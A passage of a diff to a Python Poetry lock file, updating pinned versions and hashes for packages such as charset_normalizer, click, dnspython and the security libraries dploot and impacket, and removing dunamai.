"sha256:6c4caeef8fa63d06bd437cd4bdcf3ffefe6738fb1b25951440d80dc7df8c03ac"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:37e55c8e51c236f95b033f6fb391d7d7970ba5fe7ff453dad675e88cf303377a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb69256e180cb6c8a894fee62b3afebae785babc1ee98b81cdf68bbca1987f33"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ae5f4161f18c61806f411a13b0310bea87f987c7d2ecdbdaad0e94eb2e404238"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b2b0a0c0517616b6869869f8c581d4eb2dd83a4d79e0ebcb7d373ef9956aeb0a"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45485e01ff4d3630ec0d9617310448a8702f70e9c01906b0d0118bdf9d124cf2"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb00ed941194665c332bf8e078baf037d6c35d7c4f3102ea2d4f16ca94a26dc8"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2127566c664442652f024c837091890cb1942c30937add288223dc895793f898"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a50aebfa173e157099939b17f18600f72f84eed3049e743b68ad15bd69b6bf99"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4d0d1650369165a14e14e1e47b372cfcb31d6ab44e6e33cb2d4e57265290044d"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:923c0c831b7cfcb071580d3f46c4baf50f174be571576556269530f4bbd79d04"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:06a81e93cd441c56a9b65d8e1d043daeb97a3d0856d177d5c90ba85acb3db087"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win32.whl", hash = "sha256:6ef1d82a3af9d3eecdba2321dc1b3c238245d890843e040e41e470ffa64c3e25"}, - {file = "charset_normalizer-3.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:eb8821e09e916165e160797a6c17edda0679379a4be5c716c260e836e122f54b"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:c235ebd9baae02f1b77bcea61bce332cb4331dc3617d254df3323aa01ab47bd4"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5b4c145409bef602a690e7cfad0a15a55c13320ff7a3ad7ca59c13bb8ba4d45d"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68d1f8a9e9e37c1223b656399be5d6b448dea850bed7d0f87a8311f1ff3dabb0"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22afcb9f253dac0696b5a4be4a1c0f8762f8239e21b99680099abd9b2b1b2269"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e27ad930a842b4c5eb8ac0016b0a54f5aebbe679340c26101df33424142c143c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f79682fbe303db92bc2b1136016a38a42e835d932bab5b3b1bfcfbf0640e519"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b261ccdec7821281dade748d088bb6e9b69e6d15b30652b74cbbac25e280b796"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:122c7fa62b130ed55f8f285bfd56d5f4b4a5b503609d181f9ad85e55c89f4185"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d0eccceffcb53201b5bfebb52600a5fb483a20b61da9dbc885f8b103cbe7598c"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f96df6923e21816da7e0ad3fd47dd8f94b2a5ce594e00677c0013018b813458"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:7f04c839ed0b6b98b1a7501a002144b76c18fb1c1850c8b98d458ac269e26ed2"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:34d1c8da1e78d2e001f363791c98a272bb734000fcef47a491c1e3b0505657a8"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ff8fa367d09b717b2a17a052544193ad76cd49979c805768879cb63d9ca50561"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win32.whl", hash = "sha256:aed38f6e4fb3f5d6bf81bfa990a07806be9d83cf7bacef998ab1a9bd660a581f"}, - {file = "charset_normalizer-3.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b01b88d45a6fcb69667cd6d2f7a9aeb4bf53760d7fc536bf679ec94fe9f3ff3d"}, - {file = "charset_normalizer-3.3.2-py3-none-any.whl", hash = "sha256:3e4d1f6587322d2788836a99c69062fbb091331ec940e02d12d179c1d53e25fc"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:91b36a978b5ae0ee86c394f5a54d6ef44db1de0815eb43de826d41d21e4af3de"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7461baadb4dc00fd9e0acbe254e3d7d2112e7f92ced2adc96e54ef6501c5f176"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e218488cd232553829be0664c2292d3af2eeeb94b32bea483cf79ac6a694e037"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:80ed5e856eb7f30115aaf94e4a08114ccc8813e6ed1b5efa74f9f82e8509858f"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b010a7a4fd316c3c484d482922d13044979e78d1861f0e0650423144c616a46a"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4532bff1b8421fd0a320463030c7520f56a79c9024a4e88f01c537316019005a"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:d973f03c0cb71c5ed99037b870f2be986c3c05e63622c017ea9816881d2dd247"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3a3bd0dcd373514dcec91c411ddb9632c0d7d92aed7093b8c3bbb6d69ca74408"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:d9c3cdf5390dcd29aa8056d13e8e99526cda0305acc038b96b30352aff5ff2bb"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:2bdfe3ac2e1bbe5b59a1a63721eb3b95fc9b6817ae4a46debbb4e11f6232428d"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:eab677309cdb30d047996b36d34caeda1dc91149e4fdca0b1a039b3f79d9a807"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-win32.whl", hash = "sha256:c0429126cf75e16c4f0ad00ee0eae4242dc652290f940152ca8c75c3a4b6ee8f"}, + {file = "charset_normalizer-3.4.1-cp310-cp310-win_amd64.whl", hash = "sha256:9f0b8b1c6d84c8034a44893aba5e767bf9c7a211e313a9605d9c617d7083829f"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8bfa33f4f2672964266e940dd22a195989ba31669bd84629f05fab3ef4e2d125"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28bf57629c75e810b6ae989f03c0828d64d6b26a5e205535585f96093e405ed1"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f08ff5e948271dc7e18a35641d2f11a4cd8dfd5634f55228b691e62b37125eb3"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:234ac59ea147c59ee4da87a0c0f098e9c8d169f4dc2a159ef720f1a61bbe27cd"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd4ec41f914fa74ad1b8304bbc634b3de73d2a0889bd32076342a573e0779e00"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eea6ee1db730b3483adf394ea72f808b6e18cf3cb6454b4d86e04fa8c4327a12"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c96836c97b1238e9c9e3fe90844c947d5afbf4f4c92762679acfe19927d81d77"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:4d86f7aff21ee58f26dcf5ae81a9addbd914115cdebcbb2217e4f0ed8982e146"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:09b5e6733cbd160dcc09589227187e242a30a49ca5cefa5a7edd3f9d19ed53fd"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5777ee0881f9499ed0f71cc82cf873d9a0ca8af166dfa0af8ec4e675b7df48e6"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:237bdbe6159cff53b4f24f397d43c6336c6b0b42affbe857970cefbb620911c8"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-win32.whl", hash = "sha256:8417cb1f36cc0bc7eaba8ccb0e04d55f0ee52df06df3ad55259b9a323555fc8b"}, + {file = "charset_normalizer-3.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:d7f50a1f8c450f3925cb367d011448c39239bb3eb4117c36a6d354794de4ce76"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:73d94b58ec7fecbc7366247d3b0b10a21681004153238750bb67bd9012414545"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dad3e487649f498dd991eeb901125411559b22e8d7ab25d3aeb1af367df5efd7"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c30197aa96e8eed02200a83fba2657b4c3acd0f0aa4bdc9f6c1af8e8962e0757"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2369eea1ee4a7610a860d88f268eb39b95cb588acd7235e02fd5a5601773d4fa"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc2722592d8998c870fa4e290c2eec2c1569b87fe58618e67d38b4665dfa680d"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffc9202a29ab3920fa812879e95a9e78b2465fd10be7fcbd042899695d75e616"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:804a4d582ba6e5b747c625bf1255e6b1507465494a40a2130978bda7b932c90b"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0f55e69f030f7163dffe9fd0752b32f070566451afe180f99dbeeb81f511ad8d"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c4c3e6da02df6fa1410a7680bd3f63d4f710232d3139089536310d027950696a"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:5df196eb874dae23dcfb968c83d4f8fdccb333330fe1fc278ac5ceeb101003a9"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e358e64305fe12299a08e08978f51fc21fac060dcfcddd95453eabe5b93ed0e1"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-win32.whl", hash = "sha256:9b23ca7ef998bc739bf6ffc077c2116917eabcc901f88da1b9856b210ef63f35"}, + {file = "charset_normalizer-3.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:6ff8a4a60c227ad87030d76e99cd1698345d4491638dfa6673027c48b3cd395f"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:aabfa34badd18f1da5ec1bc2715cadc8dca465868a4e73a0173466b688f29dda"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22e14b5d70560b8dd51ec22863f370d1e595ac3d024cb8ad7d308b4cd95f8313"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8436c508b408b82d87dc5f62496973a1805cd46727c34440b0d29d8a2f50a6c9"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2d074908e1aecee37a7635990b2c6d504cd4766c7bc9fc86d63f9c09af3fa11b"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:955f8851919303c92343d2f66165294848d57e9bba6cf6e3625485a70a038d11"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:44ecbf16649486d4aebafeaa7ec4c9fed8b88101f4dd612dcaf65d5e815f837f"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:0924e81d3d5e70f8126529951dac65c1010cdf117bb75eb02dd12339b57749dd"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2967f74ad52c3b98de4c3b32e1a44e32975e008a9cd2a8cc8966d6a5218c5cb2"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c75cb2a3e389853835e84a2d8fb2b81a10645b503eca9bcb98df6b5a43eb8886"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:09b26ae6b1abf0d27570633b2b078a2a20419c99d66fb2823173d73f188ce601"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fa88b843d6e211393a37219e6a1c1df99d35e8fd90446f1118f4216e307e48cd"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-win32.whl", hash = "sha256:eb8178fe3dba6450a3e024e95ac49ed3400e506fd4e9e5c32d30adda88cbd407"}, + {file = "charset_normalizer-3.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:b1ac5992a838106edb89654e0aebfc24f5848ae2547d22c2c3f66454daa11971"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f30bf9fd9be89ecb2360c7d94a711f00c09b976258846efe40db3d05828e8089"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:97f68b8d6831127e4787ad15e6757232e14e12060bec17091b85eb1486b91d8d"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7974a0b5ecd505609e3b19742b60cee7aa2aa2fb3151bc917e6e2646d7667dcf"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc54db6c8593ef7d4b2a331b58653356cf04f67c960f584edb7c3d8c97e8f39e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:311f30128d7d333eebd7896965bfcfbd0065f1716ec92bd5638d7748eb6f936a"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:7d053096f67cd1241601111b698f5cad775f97ab25d81567d3f59219b5f1adbd"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:807f52c1f798eef6cf26beb819eeb8819b1622ddfeef9d0977a8502d4db6d534"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_ppc64le.whl", hash = "sha256:dccbe65bd2f7f7ec22c4ff99ed56faa1e9f785482b9bbd7c717e26fd723a1d1e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_s390x.whl", hash = "sha256:2fb9bd477fdea8684f78791a6de97a953c51831ee2981f8e4f583ff3b9d9687e"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:01732659ba9b5b873fc117534143e4feefecf3b2078b0a6a2e925271bb6f4cfa"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-win32.whl", hash = "sha256:7a4f97a081603d2050bfaffdefa5b02a9ec823f8348a572e39032caa8404a487"}, + {file = "charset_normalizer-3.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:7b1bef6280950ee6c177b326508f86cad7ad4dff12454483b51d8b7d673a2c5d"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ecddf25bee22fe4fe3737a399d0d177d72bc22be6913acfab364b40bce1ba83c"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c60ca7339acd497a55b0ea5d506b2a2612afb2826560416f6894e8b5770d4a9"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b7b2d86dd06bfc2ade3312a83a5c364c7ec2e3498f8734282c6c3d4b07b346b8"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dd78cfcda14a1ef52584dbb008f7ac81c1328c0f58184bf9a84c49c605002da6"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6e27f48bcd0957c6d4cb9d6fa6b61d192d0b13d5ef563e5f2ae35feafc0d179c"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01ad647cdd609225c5350561d084b42ddf732f4eeefe6e678765636791e78b9a"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:619a609aa74ae43d90ed2e89bdd784765de0a25ca761b93e196d938b8fd1dbbd"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:89149166622f4db9b4b6a449256291dc87a99ee53151c74cbd82a53c8c2f6ccd"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:7709f51f5f7c853f0fb938bcd3bc59cdfdc5203635ffd18bf354f6967ea0f824"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:345b0426edd4e18138d6528aed636de7a9ed169b4aaf9d61a8c19e39d26838ca"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:0907f11d019260cdc3f94fbdb23ff9125f6b5d1039b76003b5b0ac9d6a6c9d5b"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-win32.whl", hash = "sha256:ea0d8d539afa5eb2728aa1932a988a9a7af94f18582ffae4bc10b3fbdad0626e"}, + {file = "charset_normalizer-3.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:329ce159e82018d646c7ac45b01a430369d526569ec08516081727a20e9e4af4"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b97e690a2118911e39b4042088092771b4ae3fc3aa86518f84b8cf6888dbdb41"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:78baa6d91634dfb69ec52a463534bc0df05dbd546209b79a3880a34487f4b84f"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1a2bc9f351a75ef49d664206d51f8e5ede9da246602dc2d2726837620ea034b2"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75832c08354f595c760a804588b9357d34ec00ba1c940c15e31e96d902093770"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0af291f4fe114be0280cdd29d533696a77b5b49cfde5467176ecab32353395c4"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0167ddc8ab6508fe81860a57dd472b2ef4060e8d378f0cc555707126830f2537"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2a75d49014d118e4198bcee5ee0a6f25856b29b12dbf7cd012791f8a6cc5c496"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363e2f92b0f0174b2f8238240a1a30142e3db7b957a5dd5689b0e75fb717cc78"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, + {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, + {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, + {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, ] [[package]] name = "click" -version = "8.1.7" +version = "8.1.8" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" +groups = ["main", "dev"] files = [ - {file = "click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28"}, - {file = "click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de"}, + {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, + {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, ] [package.dependencies] @@ -571,10 +568,12 @@ version = "0.4.6" description = "Cross-platform colored terminal text." optional = false python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main", "dev"] files = [ {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] +markers = {dev = "platform_system == \"Windows\" or sys_platform == \"win32\""} [[package]] name = "cryptography" @@ -582,6 +581,7 @@ version = "42.0.8" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:81d8a521705787afe7a18d5bfb47ea9d9cc068206270aad0b96a725022e18d2e"}, {file = "cryptography-42.0.8-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:961e61cefdcb06e0c6d7e3a1b22ebe8b996eb2bf50614e89384be54c48c6b63d"}, @@ -632,39 +632,41 @@ test-randomorder = ["pytest-randomly"] [[package]] name = "dnspython" -version = "2.6.1" +version = "2.7.0" description = "DNS toolkit" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" +groups = ["main"] files = [ - {file = "dnspython-2.6.1-py3-none-any.whl", hash = "sha256:5ef3b9680161f6fa89daf8ad451b5f1a33b18ae8a1c6778cdf4b43f08c0a6e50"}, - {file = "dnspython-2.6.1.tar.gz", hash = "sha256:e8f0f9c23a7b7cb99ded64e6c3a6f3e701d78f50c55e002b839dea7225cff7cc"}, + {file = "dnspython-2.7.0-py3-none-any.whl", hash = "sha256:b4c34b7d10b51bcc3a5071e7b8dee77939f1e878477eeecc965e9835f63c6c86"}, + {file = "dnspython-2.7.0.tar.gz", hash = "sha256:ce9c432eda0dc91cf618a5cedf1a4e142651196bbcd2c80e89ed5a907e5cfaf1"}, ] [package.extras] -dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "sphinx (>=7.2.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] -dnssec = ["cryptography (>=41)"] +dev = ["black (>=23.1.0)", "coverage (>=7.0)", "flake8 (>=7)", "hypercorn (>=0.16.0)", "mypy (>=1.8)", "pylint (>=3)", "pytest (>=7.4)", "pytest-cov (>=4.1.0)", "quart-trio (>=0.11.0)", "sphinx (>=7.2.0)", "sphinx-rtd-theme (>=2.0.0)", "twine (>=4.0.0)", "wheel (>=0.42.0)"] +dnssec = ["cryptography (>=43)"] doh = ["h2 (>=4.1.0)", "httpcore (>=1.0.0)", "httpx (>=0.26.0)"] -doq = ["aioquic (>=0.9.25)"] -idna = ["idna (>=3.6)"] +doq = ["aioquic (>=1.0.0)"] +idna = ["idna (>=3.7)"] trio = ["trio (>=0.23)"] wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "2.7.4" +version = "3.1.2" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0,>=3.7" +python-versions = "<4.0.0,>=3.10.0" +groups = ["main"] files = [ - {file = "dploot-2.7.4-py3-none-any.whl", hash = "sha256:6f1748aead849bc7c8718fb206e201dbf2b1ad50f63d40d23b81c2827e8ac326"}, - {file = "dploot-2.7.4.tar.gz", hash = "sha256:2a74af7899533f2e511a1bfc12c3f1baba477ae392ba6260fd3da19ea7239634"}, + {file = "dploot-3.1.2-py3-none-any.whl", hash = "sha256:365e4c1728b41771fa30f5a7b3154498e93ea3f86489e45ca15188a59d8a2225"}, + {file = "dploot-3.1.2.tar.gz", hash = "sha256:598e921019afb2f2ed9faf8a138ba92f69f7f64b863b868addcc8614e77dc48a"}, ] [package.dependencies] cryptography = ">=40.0.1" -impacket = ">=0.10.0" -lxml = "4.9.3" +impacket = ">=0.12.0" +lxml = ">=5.0" pyasn1 = ">=0.4.8,<0.5.0" [[package]] @@ -673,30 +675,19 @@ version = "1.2.4" description = "" optional = false python-versions = ">=3.4" +groups = ["main"] files = [ {file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"}, ] -[[package]] -name = "dunamai" -version = "1.21.2" -description = "Dynamic version generation" -optional = false -python-versions = ">=3.5" -files = [ - {file = "dunamai-1.21.2-py3-none-any.whl", hash = "sha256:87db76405bf9366f9b4925ff5bb1db191a9a1bd9f9693f81c4d3abb8298be6f0"}, - {file = 